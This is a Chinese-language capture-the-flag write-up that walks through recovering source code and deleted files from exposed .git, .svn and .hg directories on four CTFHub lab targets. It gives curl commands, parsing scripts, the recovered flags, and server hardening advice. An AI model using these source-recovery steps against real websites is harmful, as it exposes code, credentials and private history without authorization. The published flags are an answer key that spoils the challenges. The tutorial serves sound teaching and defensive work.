版本控制信息泄露:Git / SVN / HG 泄露(CTFHub 题解)
目录
- 一、漏洞背景与原理
- 二、通用探测思路
- 三、Git 泄露 —— Stash
- 四、Git 泄露 —— Index
- 五、SVN 泄露
- 六、HG(Mercurial)泄露
- 七、修复与防御建议
- 八、总结
一、漏洞背景与原理
现代 Web 开发中,开发者普遍使用版本控制系统(VCS)管理代码,并配合自动化部署把代码发布到线上。如果部署时直接把包含版本控制元数据的目录(.git/.svn/.hg)整体拷到服务器,攻击者就能通过 HTTP 访问这些元数据,进而还原出完整的源码、提交历史,甚至已经被删除的敏感文件(比如内含 flag 的旧版本)。
三类工具的元数据目录与核心数据:
| 工具 | 元数据目录 | 核心数据位置 | 存储格式 |
|---|---|---|---|
| Git | .git/ | .git/objects/、.git/refs/、.git/index | loose object / pack |
| SVN | .svn/ | .svn/wc.db、.svn/pristine/ | SQLite +.svn-base文件 |
| Mercurial | .hg/ | .hg/store/*.i、.hg/dirstate、.hg/store/fncache | revlog |
共同危害:泄露源码 → 审计出更多漏洞 → 泄露数据库凭据、密钥、甚至已删除的历史敏感信息。
本文以 CTFHub 技能树「信息泄露」下的四道题为例,分别对应 Git 的 stash、Git 的 index、SVN 泄露、HG 泄露,逐步讲解手工利用过程。
二、通用探测思路
直接访问元数据入口,判断是否存在泄露:
curlhttp://target/.git/HEAD# Gitcurlhttp://target/.svn/entries# SVNcurlhttp://target/.hg/requires# HG不要只盯着「当前分支/当前版本」——flag 往往藏在以下这些"边角"里:
版本控制 容易漏掉的位置 Git refs/stash、.git/index(暂存区)、reflog、ORIG_HEAD、FETCH_HEAD、dangling commitSVN .svn/pristine/(已删除文件的旧版本基文件)HG 已删除文件的 revlog、store 路径编码后的文件 优先使用现成工具(GitHack、dvcs-ripper 等),工具失效时手工解析元数据格式。
三、Git 泄露 —— Stash
题目:Git 泄露,flag 在 stash 里。
目标:http://challenge-29febdbd357aa04f.sandbox.ctfhub.com:10800/
3.1 探测
curlhttp://challenge-29febdbd357aa04f.sandbox.ctfhub.com:10800/.git/HEAD# ref: refs/heads/mastercurlhttp://challenge-29febdbd357aa04f.sandbox.ctfhub.com:10800/.git/COMMIT_EDITMSG# remove flag ← 提示 flag 被删了3.2 枚举其它引用(关键)
只跟refs/heads/master走会漏掉 stash,枚举一下:
forpinrefs/heads/master refs/stash ORIG_HEAD FETCH_HEAD logs/HEAD;docode=$(curl-s-o/dev/null-w"%{http_code}""http://target/.git/$p")["$code"="200"]&&echo"$p=>$(curl-s"http://target/.git/$p")"done# refs/stash => e8530bc72d34a9fa3f82cab424d1d430d9bd597e发现refs/stash存在,说明有人git stash过。
3.3 恢复仓库并取 flag
服务器是 dumb HTTP(git clone用不了、无 pack),需要按哈希递归下载 loose 对象。恢复后用git show看 stash:
gitlog--all--oneline--graph# * aa458f5 (HEAD -> master) remove flag# | * e8530bc (refs/stash) WIP on master: b97cced add flag# | * a63886c index on master: b97cced add flag# * b97cced add flag# * 9a6e719 initgitshow e8530bc# diff --cc 8230273932462.txt# --where is flag# ++ctfhub{a92a0ef374c4f4636c1f753c}Flag:ctfhub{a92a0ef374c4f4636c1f753c}
四、Git 泄露 —— Index
题目:Git 泄露,提示 Index,flag 在暂存区。
目标:http://challenge-b6a59c6c52fffbea.sandbox.ctfhub.com:10800/
4.1 探测
curlhttp://target/.git/HEAD# ref: refs/heads/mastercurlhttp://target/.git/COMMIT_EDITMSG# add flagCOMMIT_EDITMSG写着add flag,看似 flag 在提交里,其实文件只被git add进了暂存区、从未 commit。
4.2 下载并解析.git/index
curlhttp://target/.git/index-oindex hexdump-Cindex关键片段(文件名以 ASCII 明文存储,blob 哈希以 20 字节二进制紧跟其后):
00000070 00 00 00 00 00 00 00 21 d6 2d 23 17 33 cc 80 b7 |.......!.-#.3...| 00000080 4e f6 bc 20 88 72 83 09 02 6f df 4f 00 12 39 31 |N.. .r...o.O..91| 00000090 39 33 31 33 39 37 38 31 37 30 33 32 2e 74 78 74 |931397817032.txt|解析出 index 里有三个文件,其中91931397817032.txt只在暂存区里,其 blob 哈希为:
d62d231733cc80b74ef6bc2088728309026fdf4f4.3 按哈希下载 blob
curlhttp://target/.git/objects/d6/2d231733cc80b74ef6bc2088728309026fdf4f-oblob python3-c"import zlib; print(zlib.decompress(open('blob','rb').read()).decode())"# blob 33 ctfhub{7d4d92325f16ec2d9d83301f}Flag:ctfhub{7d4d92325f16ec2d9d83301f}
五、SVN 泄露
题目:信息泄露 - Subversion,flag 在旧版本源码。
目标:http://challenge-5d9b532ce8b4ae0b.sandbox.ctfhub.com:10800/
5.1 探测
curlhttp://target/.svn/format# 12 → SVN 1.7+ 新格式,用 wc.dbcurlhttp://target/.svn/entries# 12curl-o/dev/null-w"%{http_code}"http://target/.svn/wc.db# 2005.2 解析 wc.db(SQLite)
importsqlite3 c=sqlite3.connect('wc.db')c.row_factory=sqlite3.Rowforrinc.execute("SELECT local_relpath, revision, presence, checksum FROM NODES"):print(dict(r))forrinc.execute("SELECT * FROM PRISTINE"):print(dict(r))结果:
== NODES == {'local_relpath': 'flag_5676395.txt', 'revision': 3, 'presence': 'not-present', ...} {'local_relpath': 'index.html', 'revision': 1, 'presence': 'normal', ...} == PRISTINE == {'checksum': '$sha1$5581a6f97c2796f3a5c82220696e0b70aa74e394', 'size': 33, 'refcount': 0, ...}flag_5676395.txt的presence = not-present说明已被删除;PRISTINE 里size=33、refcount=0的孤儿基文件就是它(33 字节 = flag 长度)。
5.3 关键点:pristine 路径拼接
SVN 1.7+ 的 pristine 基文件路径:
.svn/pristine/<sha1前2位>/<完整40位sha1>.svn-base注意:文件名是完整 40 位 SHA1(很多人会想当然拼成去掉前两位的 38 位,导致 404)。
sha1="5581a6f97c2796f3a5c82220696e0b70aa74e394"curl"http://target/.svn/pristine/${sha1:0:2}/${sha1}.svn-base"-oflagcatflag# ctfhub{1945ebd74279e548c0372f52}Flag:ctfhub{1945ebd74279e548c0372f52}
六、HG(Mercurial)泄露
题目:信息泄露 - Mercurial,flag 在旧版本源码,工具不好使需手工。
目标:http://challenge-5c7c9a2c9fbee6dd.sandbox.ctfhub.com:10800/
6.1 探测
curlhttp://target/.hg/requires# dotencode/fncache/generaldelta/revlogv1/storecurlhttp://target/.hg/store/fncache# 受控文件清单curlhttp://target/.hg/dirstate# 工作副本状态fncache列出三个文件,其中data/flag_757415441.txt.i是 flag 文件。dirstate里 flag 文件大小为0x21 = 33(正好 flag 长度)。
6.2 解析 changelog(提交历史)
Mercurial 用 revlog 格式:.i是索引,数据内联时紧跟索引条目,zlib 压缩的以78 9c开头。定位解压:
importzlib data=open('00changelog.i','rb').read()foriinrange(len(data)-1):ifdata[i]==0x78anddata[i+1]in(0x01,0x9c,0xda,0x5e):try:print(i,zlib.decompress(data[i:]).decode())except:pass得到两个提交:init(50x.html + index.html)、add flag(新增 flag_757415441.txt)。
6.3 关键点①:store 路径编码(_→__)
按 fncache 的路径直接下载会 404:
curlhttp://target/.hg/store/data/flag_757415441.txt.i# 404因为 Mercurial 的 store 会把文件名里的下划线_编码成双下划线__,实际路径是:
curlhttp://target/.hg/store/data/flag__757415441.txt.i-oflag.i# 2006.4 关键点②:revlog 数据格式
flag.i共 98 字节 = 64 字节索引条目 + 34 字节内联数据。内联数据第一个字节0x75(字符u)是"未压缩"标记,后面紧跟文件内容:
data=open('flag.i','rb').read()print(repr(data[64:]))# b'uctfhub{988b88e848fa42a6c174b004}\n'去掉u标记即 flag。
Flag:ctfhub{988b88e848fa42a6c174b004}
七、修复与防御建议
1. 部署时导出干净源码,不要直接拷贝工作目录
gitarchive--format=tar HEAD|(cd /var/www&&tarxf -)# Gitsvnexporthttps://svn.example.com/repo /var/www# SVNhgarchive /var/www# Mercurial2. Web 服务器禁止访问版本控制目录
Nginx:
location ~ /\.(git|svn|hg) { deny all; }Apache:
<DirectoryMatch "/\.(git|svn|hg)/"> Require all denied </DirectoryMatch>3. 上线前删除元数据目录
find/var/www-typed\(-name.git-o-name.svn-o-name.hg\)-execrm-rf{}+4. 敏感信息不要进版本库
- 即使用
git rm/svn delete删掉,历史/stash/暂存区里仍可被还原。 - 密钥、密码等应使用环境变量或外部密钥管理系统,不要提交到代码库。
5. 定期做暴露面扫描
- 用 dirsearch / ffuf 等工具扫描
.git、.svn、.hg、.DS_Store等敏感路径。
八、总结
本文通过 CTFHub 的四道题,系统梳理了 Git / SVN / HG 三类版本控制泄露的原理与利用思路。核心要点:
- 别只盯当前版本:Git 的
stash、index、reflog,SVN 的pristine,HG 的 revlog,都是 flag 的高发藏身处。 - 工具失效要会手工:Git 的 loose object 递归下载、SVN 的
wc.db+ pristine 路径、HG 的 revlog 内联数据解析,都值得掌握。 - 元数据编码要留心:SVN pristine 文件名是完整 SHA1、HG 的
_→__编码,是两道常见的"手工卡点"。
四题 Flag 汇总:
| 题目 | Flag |
|---|---|
| Git Stash | ctfhub{a92a0ef374c4f4636c1f753c} |
| Git Index | ctfhub{7d4d92325f16ec2d9d83301f} |
| SVN 泄露 | ctfhub{1945ebd74279e548c0372f52} |
| HG 泄露 | ctfhub{988b88e848fa42a6c174b004} |
安全提示:本文仅供学习交流,请勿用于未授权测试。